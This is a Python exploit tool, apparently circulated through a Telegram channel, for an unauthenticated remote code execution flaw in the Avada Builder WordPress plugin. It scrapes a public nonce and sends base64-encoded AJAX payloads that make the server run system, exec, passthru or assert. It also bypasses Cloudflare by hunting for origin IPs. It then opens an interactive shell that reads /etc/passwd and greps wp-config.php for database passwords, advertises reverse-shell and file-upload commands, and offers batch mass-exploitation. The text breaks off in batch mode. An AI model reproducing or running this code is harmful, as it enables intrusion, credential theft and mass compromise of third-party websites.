#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
╔═══════════════════════════════════════════════════════════════════════╗
║ CVE-2026-6279 — Avada Builder <= 3.15.2 ║
║ Unauthenticated Remote Code Execution via call_user_func() ║
║ ║
║ Vulnerability Chain (resmi CVE'den): ║
║ 1. fusion_load_nonce → UID 0 için deterministik, public sayfalarda ║
║ [fusion_post_cards] veya [fusion_table_of_contents] shortcode'u ║
║ olan sayfalarda JS çıktısına eklenir ║
║ 2. wp_ajax_nopriv_fusion_get_widget_markup → auth gerektirmez ║
║ 3. render_logics → base64 JSON decode ║
║ 4. get_value() wp_conditional_tags case → call_user_func() ALLOWLIST YOK ║
║ 5. RCE ║
║ ║
║ Copyright © 2026 private ║
║ Signature: https://t.me/FreeToolsCpa ║
║ Special Thanks: all poeple 💜 ║
╚═══════════════════════════════════════════════════════════════════════╝
"""
import requests, base64, json, re, sys, time, socket
import urllib3, threading, random, string, os
from queue import Queue, Empty
from datetime import datetime
from packaging import version as pkg_version
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TIMEOUT = 12
VERIFY_SSL = False
VULN_MAX_VERSION = "3.15.2"
SIGNATURE = "https://t.me/FreeToolsCpa"
S1 = "___XN1337_S1___"
S2 = "___XN1337_S2___"
R = "\033[91m"
G = "\033[92m"
Y = "\033[93m"
C = "\033[96m"
M = "\033[95m"
P = "\033[1m"
DM = "\033[2m"
W = "\033[97m"
N = "\033[0m"
# ──────────────────────────────────────────────────────────────
# CF IP RANGES
# ──────────────────────────────────────────────────────────────
CF_RANGES = [
"103.21.","103.22.","103.31.","104.16.","104.17.",
"104.18.","104.19.","104.20.","104.21.","104.22.",
"108.162.","131.0.","141.101.","162.158.","172.64.",
"172.65.","172.66.","172.67.","172.68.","172.69.",
"172.70.","172.71.","188.114.","190.93.","197.234.",
"198.41.","199.27.",
]
def is_cf_ip(ip):
return any(ip.startswith(r) for r in CF_RANGES)
# ──────────────────────────────────────────────────────────────
# HTTP HELPERS
# ──────────────────────────────────────────────────────────────
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/124.0.0.0 Safari/537.36"
def mksess(extra_headers=None):
s = requests.Session()
s.headers.update({
"User-Agent" : UA,
"Accept" : "text/html,application/xhtml+xml,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.9",
"Accept-Encoding": "gzip, deflate, br",
"Connection" : "keep-alive",
})
if extra_headers:
s.headers.update(extra_headers)
s.verify = VERIFY_SSL
return s
def resolve(t):
t = t.strip().rstrip("/")
if re.match(r'^https?://', t): return t
return f"http://{t}"
def try_https(sess, base):
if base.startswith("http://"):
https = base.replace("http://","https://")
try:
r = sess.get(https+"/", timeout=TIMEOUT)
if r.ok: return https
except: pass
return base
def shell_escape(cmd):
return cmd.replace("\\","\\\\").replace("'","\\'")
def rand_tmp():
r = ''.join(random.choices(string.ascii_lowercase, k=8))
return f"/tmp/._{r}"
# ──────────────────────────────────────────────────────────────
# NONCE
#
# Resmi CVE'ye göre:
# fusion_load_nonce sadece şu shortcode'ları içeren sayfalarda üretilir:
# - [fusion_post_cards]
# - [fusion_table_of_contents]
# Bu nedenle nonce tarama bu shortcode'ları içeren sayfaları önceliklendirir.
# Nonce UID 0 için deterministik → public sayfada JS çıktısına eklenir.
# ──────────────────────────────────────────────────────────────
# Resmi CVE: bu iki shortcode nonce'u tetikler
NONCE_TRIGGER_SHORTCODES = [
"fusion_post_cards",
"fusion_table_of_contents",
]
# Nonce pattern'leri — fusionPostCardsVars ve fusionTableOfContentsVars önce
NONCE_PATTERNS = [
# Resmi CVE: bu iki değişken nonce'u taşır
r'fusionPostCardsVars\s*[=,]\s*\{[^}]{0,600}"nonce"\s*:\s*"([a-zA-Z0-9]{8,12})"',
r'fusionTableOfContentsVars\s*[=,]\s*\{[^}]{0,600}"nonce"\s*:\s*"([a-zA-Z0-9]{8,12})"',
# Genel fusion nonce pattern'leri
r'fusionLoadNonce\s*=\s*["\x27]([a-zA-Z0-9]{8,12})',
r'"fusion_load_nonce"\s*:\s*"([a-zA-Z0-9]{8,12})"',
r"fusion_load_nonce[\"'\s:=]+[\"']([a-zA-Z0-9]{8,12})",
r'fusionVars[^}]{0,400}"nonce"\s*:\s*"([a-zA-Z0-9]{8,12})"',
r'fusionWidgetVars[^}]{0,400}"nonce"\s*:\s*"([a-zA-Z0-9]{8,12})"',
r'awb_nonce["\s:=]+([a-zA-Z0-9]{8,12})',
]
NONCE_BLACKLIST = [
r'um_scripts',r'mecdata',r'woocommerce',r'yoast',
r'elementor',r'contact.form',r'wpforms',r'_wpnonce',
r'learnpress',r'buddypress',
]
AVADA_INDICATORS = [
'fusion-builder','fusion_load_nonce','fusionloadnonce',
'avada','fusion-scripts','awb-','fusion_dynamic_css',
'fusionVars','fusionPostCardsVars','fusion-menu',
'fusion_post_cards','fusion_table_of_contents',
]
# Resmi CVE: shortcode içeren sayfalar önce taranmalı
# [fusion_post_cards] → blog, portfolio, news gibi sayfalarda
# [fusion_table_of_contents] → uzun içerikli sayfalarda
SLUGS_SHORTCODE = [
# [fusion_post_cards] olma ihtimali yüksek
"blog","news","portfolio","work","projects","shop",
"services","gallery","events","articles","posts",
"case-studies","insights","updates","resources",
# [fusion_table_of_contents] olma ihtimali yüksek
"about","about-us","faq","documentation","docs",
"guide","tutorial","terms","privacy","legal",
"knowledge-base","help","support",
]
SLUGS_FORM = [
# Form sayfaları — fusion_form shortcode
"contact","contact-us","get-in-touch","iletisim",
"register","signup","booking","demo","free-trial",
"request-quote","appointment","quote","teklif",
]
SLUGS_FALLBACK = [
"","home","pricing","team","testimonials",
"careers","partners","sample-page",
]
SITEMAP_PATHS = [
"/sitemap.xml","/sitemap_index.xml","/wp-sitemap.xml",
"/sitemap-index.xml","/post-sitemap.xml","/page-sitemap.xml",
]
def _is_blacklisted(line):
l = line.lower()
return any(re.search(p, l) for p in NONCE_BLACKLIST)
def ekstrak_nonce(html):
"""
Resmi CVE'ye göre önce fusionPostCardsVars ve
fusionTableOfContentsVars içindeki nonce'u ara.
"""
if not html: return ""
lines = html.splitlines()
for pat in NONCE_PATTERNS:
m = re.search(pat, html, re.IGNORECASE | re.DOTALL)
if not m: continue
val = m.group(1)
if len(val) < 8: continue
nline = next((l for l in lines if val in l),"")
if _is_blacklisted(nline): continue
return val
return ""
def has_trigger_shortcode(html):
"""
Resmi CVE: nonce sadece bu shortcode'ları içeren sayfalarda üretilir.
HTML'de shortcode izlerini ara (rendered veya raw).
"""
if not html: return False
lower = html.lower()
return (
"fusion_post_cards" in lower or
"fusion_table_of_contents" in lower or
"fusionpostcardsvars" in lower or
"fusiontableofcontentsvars" in lower
)
def is_avada(html):
return any(k in html.lower() for k in AVADA_INDICATORS)
def fetch_nonce_from_url(url, extra_headers=None):
sess = mksess(extra_headers)
try:
r = sess.get(url, timeout=TIMEOUT)
if r.ok:
n = ekstrak_nonce(r.text)
if n: return n, url
except: pass
return "", url
def _parse_sitemap(sess, url, depth=0, max_depth=2):
if depth > max_depth: return []
pages = []
try:
r = sess.get(url, timeout=TIMEOUT)
if not r.ok: return pages
locs = re.findall(r'(.*?)', r.text)
for loc in locs:
if ".xml" in loc and ("sitemap" in loc.lower() or "index" in loc.lower()):
pages.extend(_parse_sitemap(sess, loc, depth+1, max_depth))
else:
pages.append(loc.rstrip("/"))
except: pass
return pages
def _sitemaps_from_robots(sess, base):
sitemaps = []
try:
r = sess.get(f"{base}/robots.txt", timeout=TIMEOUT)
if r.ok:
for line in r.text.splitlines():
line = line.strip()
if line.lower().startswith("sitemap:"):
sitemaps.append(line.split(":",1)[1].strip())
except: pass
return sitemaps
def deep_scan_nonce(base, host_header=None, verbose=False):
"""
Resmi CVE'ye göre nonce tarama sırası:
1. Shortcode slug'ları (fusion_post_cards / fusion_table_of_contents)
2. Form slug'ları
3. Fallback slug'lar
4. Sitemap'ten bulunan sayfalar — shortcode içerenler önce
5. RSS Feed
6. REST API
7. Kalan linkler
"""
extra = {"Host": host_header} if host_header else None
sess = mksess(extra)
shortcode_urls = [] # shortcode içerdiği tespit edilen sayfalar
found_urls = [] # diğer sayfalar
def _check(url, html):
n = ekstrak_nonce(html)
if n:
if verbose:
sc = " [shortcode✓]" if has_trigger_shortcode(html) else ""
log_ok(f"nonce: {M}{n}{N}{sc} {DM}(src: {url}){N}")
return n, url
return "",""
def _fetch_and_check(url):
try:
r = sess.get(url if url.endswith("/") else url+"/",
timeout=TIMEOUT)
if not r.ok: return "",""
n, src = _check(url, r.text)
if n: return n, src
# shortcode var ama nonce henüz yok → listeye ekle
if has_trigger_shortcode(r.text):
shortcode_urls.append(url)
elif is_avada(r.text):
links = re.findall(
r'href=["\'](' + re.escape(base) + r'[^"\'#?]+)["\']',
r.text)
found_urls.extend(links[:5])
except: pass
return "",""
# 1. Shortcode slug'ları
for slug in SLUGS_SHORTCODE:
url = f"{base}/{slug}/"
n, src = _fetch_and_check(url)
if n: return n, src
# 2. Form slug'ları
for slug in SLUGS_FORM:
url = f"{base}/{slug}/"
n, src = _fetch_and_check(url)
if n: return n, src
# 3. Fallback slug'lar
for slug in SLUGS_FALLBACK:
url = f"{base}/{slug}/" if slug else f"{base}/"
n, src = _fetch_and_check(url)
if n: return n, src
# 4. Sitemap
sm_paths = list(SITEMAP_PATHS)
for sm_url in _sitemaps_from_robots(sess, base):
path = sm_url.replace(base,"")
if path not in sm_paths: sm_paths.append(path)
for sm in sm_paths:
url = f"{base}{sm}" if not sm.startswith("http") else sm
found_urls.extend(_parse_sitemap(sess, url)[:30])
# 5. RSS Feed
for feed in [f"{base}/feed/", f"{base}/rss/", f"{base}/?feed=rss2"]:
try:
r = sess.get(feed, timeout=TIMEOUT)
if r.ok:
for link in re.findall(r'(https?://[^<]+)', r.text):
found_urls.append(link.rstrip("/"))
except: pass
# 6. REST API
for ep in [f"{base}/wp-json/wp/v2/posts?per_page=20",
f"{base}/wp-json/wp/v2/pages?per_page=20"]:
try:
r = sess.get(ep, timeout=TIMEOUT)
if r.ok:
data = r.json() if isinstance(r.json(), list) else []
for item in data[:20]:
u = item.get("link", item.get("url",""))
if u: found_urls.append(u.rstrip("/"))
except: pass
# 7. Shortcode içerdiği tespit edilenler önce, sonra diğerleri
seen = set()
for u in shortcode_urls + found_urls:
if u in seen: continue
seen.add(u)
try:
r = sess.get(u, timeout=TIMEOUT)
if r.ok:
n, src = _check(u, r.text)
if n: return n, src
except: pass
return "",""
# ──────────────────────────────────────────────────────────────
# ORIGIN IP (CF bypass)
# ──────────────────────────────────────────────────────────────
def find_origin_ip(domain):
subdomains = [
f"mail.{domain}", f"ftp.{domain}", f"smtp.{domain}",
f"direct.{domain}", f"origin.{domain}", f"server.{domain}",
f"cpanel.{domain}", f"webmail.{domain}", f"ns1.{domain}",
f"ns2.{domain}", f"api.{domain}", f"dev.{domain}",
f"staging.{domain}", f"test.{domain}", f"old.{domain}",
f"shop.{domain}", f"store.{domain}", f"blog.{domain}",
f"m.{domain}", f"mobile.{domain}", f"static.{domain}",
]
origins = []
for sub in subdomains:
try:
ip = socket.gethostbyname(sub)
if not is_cf_ip(ip): origins.append(ip)
except: pass
try:
ip = socket.gethostbyname(domain)
if not is_cf_ip(ip): origins.append(ip)
except: pass
return list(set(origins))
def verify_origin_ajax(ip, domain):
for scheme in ["http","https"]:
url = f"{scheme}://{ip}/wp-admin/admin-ajax.php"
try:
r = requests.get(
url,
headers={"Host": domain, "User-Agent": UA},
timeout=TIMEOUT, verify=VERIFY_SSL,
)
if r.status_code == 200 and r.text.strip() in ("0",""):
return scheme, url
except: pass
return None, None
# ──────────────────────────────────────────────────────────────
# PAYLOAD
#
# Yapı B (good8 çalışan):
# render_logics = base64({"type":"wp_conditional_tags",
# "value":{"function":f,"args":"id"}})
# direkt POST field, widget_type ile birlikte
#
# Yapı A (good7 orijinal, fallback):
# data = json({"widget_id":"exploit",
# "render_logics":[{"condition_type":...,
# "condition_value":base64(...)}]})
# ──────────────────────────────────────────────────────────────
def b64j(obj):
return base64.b64encode(
json.dumps(obj, separators=(',',':')).encode()
).decode()
def make_post_B(nonce, func, arg_str, widget_type):
"""good8 çalışan yapı — render_logics direkt POST, args string"""
return {
"action" : "fusion_get_widget_markup",
"fusion_load_nonce": nonce,
"render_logics" : b64j({
"type" : "wp_conditional_tags",
"value": {"function": func, "args": arg_str},
}),
"widget_type": widget_type,
"type" : widget_type,
"widget_id" : "2",
"number" : "2",
}
def make_post_A(nonce, func, args_list):
"""good7 orijinal yapı — data JSON içinde, args liste"""
return {
"action" : "fusion_get_widget_markup",
"fusion_load_nonce": nonce,
"data" : json.dumps({
"widget_id" : "exploit",
"render_logics": [{
"condition_type" : "wp_conditional_tags",
"condition_value": b64j({"function": func, "args": args_list}),
}],
}),
}
def ekstrak_s(raw):
i1 = raw.find(S1); i2 = raw.find(S2)
if i1!=-1 and i2!=-1 and i2>i1:
return raw[i1+len(S1):i2].strip()
return ""
def strip_wrapper(body):
body = body.strip()
if not body: return ""
try:
j = json.loads(body)
if isinstance(j, dict):
d = j.get("data", j.get("output",""))
if d: return str(d)
except: pass
return body
# ──────────────────────────────────────────────────────────────
# AJAX CORE
# ──────────────────────────────────────────────────────────────
def _ajax(sess, ajax_url, post_data, host=None):
h = {
"X-Requested-With": "XMLHttpRequest",
"Origin" : re.sub(r'/wp-admin.*','',ajax_url),
"Referer": re.sub(r'/wp-admin.*','',ajax_url)+"/",
}
if host: h["Host"] = host
try:
r = sess.post(ajax_url, headers=h, data=post_data, timeout=TIMEOUT)
return r.status_code, r.text
except: return 0,""
def _ajax_retry(sess, ajax_url, post_data,
nonce_src="", host=None, retry=2):
"""Nonce expire olursa otomatik yenile."""
cur = post_data
for attempt in range(retry+1):
st, body = _ajax(sess, ajax_url, cur, host)
if st==403 and body.strip()=="-1":
if attempt=3 and "<" not in s
def is_fgc_evidence(body):
return bool(re.search(r'root:x:0:0|nobody:|daemon:|www-data:', body))
# ──────────────────────────────────────────────────────────────
# WIDGET TYPE LİSTESİ
# ──────────────────────────────────────────────────────────────
WIDGET_TYPES = [
"WP_Widget_Text",
"WP_Widget_Custom_HTML",
"WP_Widget_Recent_Posts",
"WP_Widget_Archives",
"WP_Widget_Calendar",
"WP_Widget_Categories",
"WP_Widget_Meta",
"WP_Widget_Pages",
"WP_Widget_Recent_Comments",
"WP_Widget_RSS",
"WP_Widget_Search",
"WP_Widget_Tag_Cloud",
"WP_Nav_Menu_Widget",
"WP_Widget_Media_Image",
]
WIDGET_PHASES = [
("Faz 1", WIDGET_TYPES[:2]),
("Faz 2", WIDGET_TYPES[2:5]),
("Faz 3", WIDGET_TYPES[5:]),
]
# ──────────────────────────────────────────────────────────────
# TEK DENEME — Yapı B önce, A sonra
# ──────────────────────────────────────────────────────────────
def _one_shot(sess, ajax_url, nonce, nonce_src, host,
func, arg_str, widget_type=None):
# ── Yapı B ───────────────────────────────────────────────
if widget_type:
post = make_post_B(nonce, func, arg_str, widget_type)
st, body = _ajax_retry(sess, ajax_url, post, nonce_src, host)
if st==403 and body=="__NONCE_EXPIRED__":
return "nonce_expired","","B"
if st==400 and body.strip()=="0":
return "action_missing","","B"
if st in (400,403,429,503):
lower = body.lower()
if "cloudflare" in lower or "cf-ray" in lower or "blocked" in lower:
return "waf","","B"
if st==200:
uid = cari_uid(body)
if uid: return "ok", uid, "B"
out = strip_wrapper(body).strip()
if is_real(out,"id"): return "ok", out, "B"
if func=="file_get_contents" and is_fgc_evidence(body):
return "ok", "[fgc] /etc/passwd:\n"+body[:200], "B"
# ── Yapı A ───────────────────────────────────────────────
args_list = [arg_str] if isinstance(arg_str, str) else arg_str
post = make_post_A(nonce, func, args_list)
st, body = _ajax_retry(sess, ajax_url, post, nonce_src, host)
if st==403 and body=="__NONCE_EXPIRED__":
return "nonce_expired","","A"
if st==400 and body.strip()=="0":
return "action_missing","","A"
if st in (400,403,429,503):
lower = body.lower()
if "cloudflare" in lower or "cf-ray" in lower or "blocked" in lower:
return "waf","","A"
if st==200:
uid = cari_uid(body)
if uid: return "ok", uid, "A"
out = strip_wrapper(body).strip()
if is_real(out,"id"): return "ok", out, "A"
if func=="file_get_contents" and is_fgc_evidence(body):
return "ok", "[fgc] /etc/passwd:\n"+body[:200], "A"
return "fail","","?"
# ──────────────────────────────────────────────────────────────
# AJAX URL DISCOVERY
# ──────────────────────────────────────────────────────────────
def find_ajax_url(base, nonce, nonce_src, verbose=True):
domain = re.sub(r'^https?://','',base).rstrip('/')
sess = mksess()
std = f"{base}/wp-admin/admin-ajax.php"
for wtype in [WIDGET_TYPES[0], None]:
tp = (make_post_B(nonce,"system","id",wtype)
if wtype else make_post_A(nonce,"system",["id"]))
st, body = _ajax(sess, std, tp)
if st==200:
uid = cari_uid(body)
out = strip_wrapper(body).strip()
if uid or is_real(out,"id"):
if verbose: log_ok(f"AJAX: {std}")
return std, None, nonce
if verbose: log_warn(f"admin-ajax.php → {st} (CF bloklıyor)")
if verbose: log_info("Origin IP aranıyor...")
for ip in find_origin_ip(domain):
if verbose: log_info(f"Origin IP deneniyor: {ip}")
scheme, url = verify_origin_ajax(ip, domain)
if not url: continue
nonce_url = url.replace("/wp-admin/admin-ajax.php","/")
n,_ = fetch_nonce_from_url(nonce_url, {"Host":domain})
if not n:
n,_ = deep_scan_nonce(
url.replace("/wp-admin/admin-ajax.php",""),
host_header=domain, verbose=False)
if not n: n = nonce
for wtype in [WIDGET_TYPES[0], None]:
tp = (make_post_B(n,"system","id",wtype)
if wtype else make_post_A(n,"system",["id"]))
st2, body2 = _ajax(sess, url, tp, host=domain)
if st2==200:
uid = cari_uid(body2)
out = strip_wrapper(body2).strip()
if uid or is_real(out,"id"):
if verbose: log_ok(f"Origin bypass: {ip} ({scheme})")
return url, domain, n
if verbose: log_err("Origin IP bulunamadı")
return std, None, nonce
# ──────────────────────────────────────────────────────────────
# run_cmd
# ──────────────────────────────────────────────────────────────
def run_cmd(sess, ajax_url, nonce, cmd, nonce_src="", host=None):
safe = shell_escape(cmd)
tmp = rand_tmp()
for wtype in WIDGET_TYPES[:2]:
post = make_post_B(nonce,"system",safe,wtype)
st,body = _ajax_retry(sess,ajax_url,post,nonce_src,host)
if st==200:
uid = cari_uid(body)
if uid and is_real(uid,cmd): return uid
out = strip_wrapper(body).strip()
if is_real(out,cmd): return out
post = make_post_A(nonce,"system",[safe])
st,body = _ajax_retry(sess,ajax_url,post,nonce_src,host)
if st==200:
out = strip_wrapper(body).strip()
if is_real(out,cmd): return out
for wtype in [WIDGET_TYPES[0], None]:
p = (make_post_B(nonce,"system",f"{safe} 2>&1 > {tmp}",wtype)
if wtype else make_post_A(nonce,"system",[f"{safe} 2>&1 > {tmp}"]))
_ajax_retry(sess,ajax_url,p,nonce_src,host)
cat_cmd = "echo " + S1 + "; cat " + tmp + "; echo " + S2
_,b2 = _ajax_retry(sess,ajax_url,
make_post_A(nonce,"system",[cat_cmd]),nonce_src,host)
out2 = ekstrak_s(b2)
if not out2:
_,b3 = _ajax_retry(sess,ajax_url,
make_post_A(nonce,"file_get_contents",[tmp]),nonce_src,host)
out2 = strip_wrapper(b3).strip()
_ajax_retry(sess,ajax_url,make_post_A(nonce,"unlink",[tmp]),nonce_src,host)
if is_real(out2,cmd): return out2
for func in ["exec","passthru","shell_exec"]:
status,out,_ = _one_shot(sess,ajax_url,nonce,nonce_src,
host,func,safe,WIDGET_TYPES[0])
if status=="ok" and is_real(out,cmd): return out
php = ("ob_start();system('" + shell_escape(safe) + " 2>&1');"
"$o=ob_get_clean();"
"echo '" + S1 + "'.$o.'" + S2 + "';")
_,body = _ajax_retry(sess,ajax_url,
make_post_A(nonce,"assert",[php]),nonce_src,host)
out = ekstrak_s(body)
if is_real(out,cmd): return out
return ""
# ──────────────────────────────────────────────────────────────
# EXPLOIT
# ──────────────────────────────────────────────────────────────
EXPLOIT_FUNCS = [
("system", "id"),
("passthru", "id"),
("shell_exec", "id"),
("exec", "id"),
("file_get_contents", "/etc/passwd"),
]
ASSERT_PHP = (
"ob_start();system('id 2>&1');"
"$o=ob_get_clean();"
"echo '" + S1 + "'.$o.'" + S2 + "';"
)
def exploit(sess, base, cmd="id", verbose=True):
if verbose: log_info("Nonce aranıyor...")
nonce, nonce_src = deep_scan_nonce(base, verbose=verbose)
if not nonce:
if verbose: log_err("fusion_load_nonce bulunamadı")
if verbose: log_dim(" → Hedef [fusion_post_cards] veya [fusion_table_of_contents] shortcode'u içermiyor olabilir")
return False,"NO_NONCE","","",""
if verbose: log_ok(f"nonce: {M}{nonce}{N}")
ajax_url, host, nonce = find_ajax_url(base, nonce, nonce_src, verbose=verbose)
# Faz 0: widget_type yok (Yapı A)
for func, arg_str in EXPLOIT_FUNCS:
if verbose: log_info(f"Faz 0 · {func}() [A]")
status,out,yapi = _one_shot(
sess,ajax_url,nonce,nonce_src,host,func,arg_str,None)
if status=="nonce_expired":
return False,"NONCE_EXPIRED",func,ajax_url,nonce
if status=="waf":
return False,"WAF_BLOCKED",func,ajax_url,nonce
if status=="action_missing":
return False,"ACTION_MISSING",func,ajax_url,nonce
if status=="ok":
label = f"{func}() [A]"
if verbose: log_ok(f"RCE: {label} {G}{out[:60]}{N}")
if cmd=="id": return True,out,label,ajax_url,nonce
final = run_cmd(sess,ajax_url,nonce,cmd,nonce_src,host)
return True,final or out,label,ajax_url,nonce
# assert Faz 0
_,body = _ajax_retry(sess,ajax_url,
make_post_A(nonce,"assert",[ASSERT_PHP]),nonce_src,host)
out = ekstrak_s(body)
if is_real(out,"id"):
label = "assert() [A]"
if verbose: log_ok(f"RCE: {label} {G}{out[:60]}{N}")
if cmd=="id": return True,out,label,ajax_url,nonce
final = run_cmd(sess,ajax_url,nonce,cmd,nonce_src,host)
return True,final or out,label,ajax_url,nonce
# Faz 1-3: widget type döngüsü
for phase_name, widget_list in WIDGET_PHASES:
if verbose: log_info(f"{phase_name} deneniyor...")
for wtype in widget_list:
for func, arg_str in EXPLOIT_FUNCS:
if verbose: log_info(f"{phase_name} · {func}() [{wtype}]")
status,out,yapi = _one_shot(
sess,ajax_url,nonce,nonce_src,host,func,arg_str,wtype)
if status=="nonce_expired":
return False,"NONCE_EXPIRED",func,ajax_url,nonce
if status=="waf":
return False,"WAF_BLOCKED",func,ajax_url,nonce
if status=="ok":
label = f"{func}() [{yapi}] [{wtype}]"
if verbose: log_ok(f"RCE: {label} {G}{out[:60]}{N}")
if cmd=="id": return True,out,label,ajax_url,nonce
final = run_cmd(sess,ajax_url,nonce,cmd,nonce_src,host)
return True,final or out,label,ajax_url,nonce
_,body = _ajax_retry(sess,ajax_url,
make_post_A(nonce,"assert",[ASSERT_PHP]),nonce_src,host)
out = ekstrak_s(body)
if is_real(out,"id"):
label = f"assert() [A] [{phase_name}]"
if verbose: log_ok(f"RCE: {label} {G}{out[:60]}{N}")
if cmd=="id": return True,out,label,ajax_url,nonce
final = run_cmd(sess,ajax_url,nonce,cmd,nonce_src,host)
return True,final or out,label,ajax_url,nonce
# Faz 4: variasi struktur
if verbose: log_info("Faz 4 · variasi struktur JSON...")
for func, arg_str in EXPLOIT_FUNCS[:2]:
for var in [
{"relation":"and","conditions":[
{"type":"wp_conditional_tags",
"value":{"function":func,"args":arg_str}}]},
{"type":"wp_user_conditional_tags",
"value":{"function":func,"args":arg_str}},
]:
post = {
"action" : "fusion_get_widget_markup",
"fusion_load_nonce": nonce,
"render_logics" : b64j(var),
}
st,body = _ajax_retry(sess,ajax_url,post,nonce_src,host)
if st==200:
uid = cari_uid(body)
if uid:
label = f"{func}() [variasi]"
if verbose: log_ok(f"RCE: {label} {G}{uid[:60]}{N}")
if cmd=="id": return True,uid,label,ajax_url,nonce
final = run_cmd(sess,ajax_url,nonce,cmd,nonce_src,host)
return True,final or uid,label,ajax_url,nonce
return False,"FAILED","",ajax_url,nonce
# ──────────────────────────────────────────────────────────────
# VERSİYON
# ──────────────────────────────────────────────────────────────
def get_version(sess, base):
sources = [
(f"{base}/wp-content/plugins/fusion-builder/languages/fusion-builder.pot",
r'Project-Id-Version: Avada Builder ([0-9.]+)'),
(f"{base}/wp-content/plugins/fusion-builder/readme.txt",
r'(?:Stable tag|Version)\s*:\s*([\d.]+)'),
(f"{base}/wp-content/themes/Avada/readme.txt",
r'(?:Stable tag|Version)\s*:\s*([\d.]+)'),
(f"{base}/wp-content/themes/avada/readme.txt",
r'(?:Stable tag|Version)\s*:\s*([\d.]+)'),
]
for url,pat in sources:
try:
r = sess.get(url, timeout=TIMEOUT)
if not r.ok: continue
m = re.search(pat, r.text, re.I|re.M)
if not m: continue
ver = m.group(1)
try:
is_vuln = (pkg_version.parse(ver) <=
pkg_version.parse(VULN_MAX_VERSION))
except: is_vuln = None
return ver, is_vuln
except: continue
return None, None
# ──────────────────────────────────────────────────────────────
# UI
# ──────────────────────────────────────────────────────────────
def cls(): os.system("cls" if os.name=="nt" else "clear")
def log_ok(m): print(f" {G}★ {m}{N}")
def log_info(m): print(f" {C}[*]{N} {m}")
def log_err(m): print(f" {R}✗ {m}{N}")
def log_warn(m): print(f" {Y}[!]{N} {m}")
def log_bullet(m): print(f" {G} •{N} {W}{m}{N}")
def log_dim(m): print(f" {DM}{m}{N}")
def sep(): print(f" {DM}{'─'*54}{N}")
def banner():
print(f"""{M}
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-6279 · Avada Builder <= 3.15.2 ║
║ Unauthenticated RCE via call_user_func() ║
║ Copyright © 2026 private · Thanks: Shadow Girlfriend 💜 ║
║ Signature: https://t.me/FreeToolsCpa ║
╚══════════════════════════════════════════════════════════════╝{N}
""")
def menu():
cls(); banner()
print(f" {DM}{'─'*54}{N}")
print(f" {G}♡ [1]{N} Single target {DM}·{N} {C}interactive shell{N}")
print(f" {C}◆ [2]{N} Batch scan {DM}·{N} {G}file exploit{N}")
print(f" {R}✗ [3]{N} Exit")
print(f" {DM}{'─'*54}{N}\n")
def prompt(label, default=""):
tag = f"{DM}[{default}]{N}" if default else ""
val = input(f" {G}♡{N} {C}{label}{N} {tag}: ").strip()
return val if val else default
# ──────────────────────────────────────────────────────────────
# MOD 1 — SINGLE + İNTERAKTİF SHELL
# ──────────────────────────────────────────────────────────────
def mode_single():
print()
target = prompt("target url")
if not target: return
cmd = prompt("command", "id")
print(); sep()
sess = mksess()
base = resolve(target)
base = try_https(sess, base)
ver, is_vuln = get_version(sess, base)
if ver:
if is_vuln is True:
log_ok(f"vuln {base} {DM}ver={ver}{N}")
elif is_vuln is False:
log_warn(f"ver={ver} > {VULN_MAX_VERSION} · patched olabilir")
else:
log_info(f"ver={ver}")
else:
try:
r = sess.get(f"{base}/", timeout=TIMEOUT)
if not r.ok or not is_avada(r.text):
log_warn("Avada tespit edilemedi, yine de deneniyor")
except:
log_err(f"Erişilemiyor: {base}"); return
ok, output, func, ajax_url, nonce = exploit(
sess, base, cmd, verbose=True)
if not ok:
msgs = {
"NO_NONCE" : ("fusion_load_nonce bulunamadı\n"
" → Hedef [fusion_post_cards] veya "
"[fusion_table_of_contents] shortcode'u içermiyor"),
"NONCE_EXPIRED" : "nonce expired · sayfa yenilenmiş olabilir",
"WAF_BLOCKED" : "WAF bloklıyor · CF origin IP bypass gerekli",
"ACTION_MISSING": "AJAX action yok · plugin aktif değil veya patch",
"FAILED" : "tüm kombinasyonlar başarısız · patch uygulanmış",
}
log_err(msgs.get(output, output)); return
print()
log_ok(f"RCE via {func} · shell hazır")
for line in output.splitlines(): log_bullet(line)
print()
cwd = run_cmd(sess, ajax_url, nonce, "pwd").strip()
if not cwd or "/" not in cwd: cwd = "/var/www/html"
host = re.sub(r'^https?://','',base).rstrip('/')
while True:
try:
inp = input(f" {G}shell>{N} ").strip()
except (EOFError, KeyboardInterrupt):
print(); log_dim("exit"); break
if not inp: continue
if inp.lower() in ("exit","quit"):
log_dim("see you next time ♡"); break
if inp == "help":
print(f"""
{Y}Komutlar:{N}
{G}cd {N} dizin değiştir
{G}upload {N} dosya yükle
{G}download {N} dosya indir
{G}wp-config{N} DB bilgileri
{G}recon{N} sistem taraması
{G}revshell {N} reverse shell
{G}exit{N} çık
"""); continue
if inp.startswith("cd "):
new = inp[3:].strip()
t = run_cmd(sess,ajax_url,nonce,f"cd {new} && pwd","",host)
if t and "/" in t: cwd = t.strip().splitlines()[-1]
else: log_err(f"no such directory: {new}")
continue
if inp.startswith("upload "):
parts = inp.split(None,2)
if len(parts)==3: _upload(sess,ajax_url,nonce,parts[1],parts[2],cwd,host)
else: log_err("usage: upload ")
continue
if inp.startswith("download "):
_download(sess,ajax_url,nonce,inp[9:].strip(),host)
continue
if inp=="wp-config":
inp = ("find / -name wp-config.php 2>/dev/null | head -1 | "
"xargs grep -E 'DB_NAME|DB_USER|DB_PASSWORD|DB_HOST' 2>/dev/null")
if inp=="recon":
_recon(sess,ajax_url,nonce,base,host); continue
if inp.startswith("revshell "):
parts = inp.split()
if len(parts)==3:
_revshell(sess,ajax_url,nonce,parts[1],parts[2],cwd,host)
else: log_err("usage: revshell ")
continue
out = run_cmd(sess,ajax_url,nonce,f"cd {cwd} && {inp}","",host)
if out:
log_ok("rce ok")
for line in out.splitlines(): log_bullet(line)
else:
log_dim("(empty)")
# ──────────────────────────────────────────────────────────────
# MOD 2 — BATCH
# ──────────────────────────────────────────────────────────────
lock = threading.Lock()
def mode_batch():
print()
fpath = prompt("targets file", "targets.txt")
threads = int(prompt("threads", "10"))
cmd = prompt("command", "id")
outfile = prompt("output file", "vuln.txt")
print()
try:
with open(fpath,"r",encoding="utf-8") as f:
targets = [l.strip() for l in f
if l.strip() and not l.startswith("#")]
except FileNotFoundError:
log_err(f"dosya bulunamadı: {fpath}"); return
if not targets:
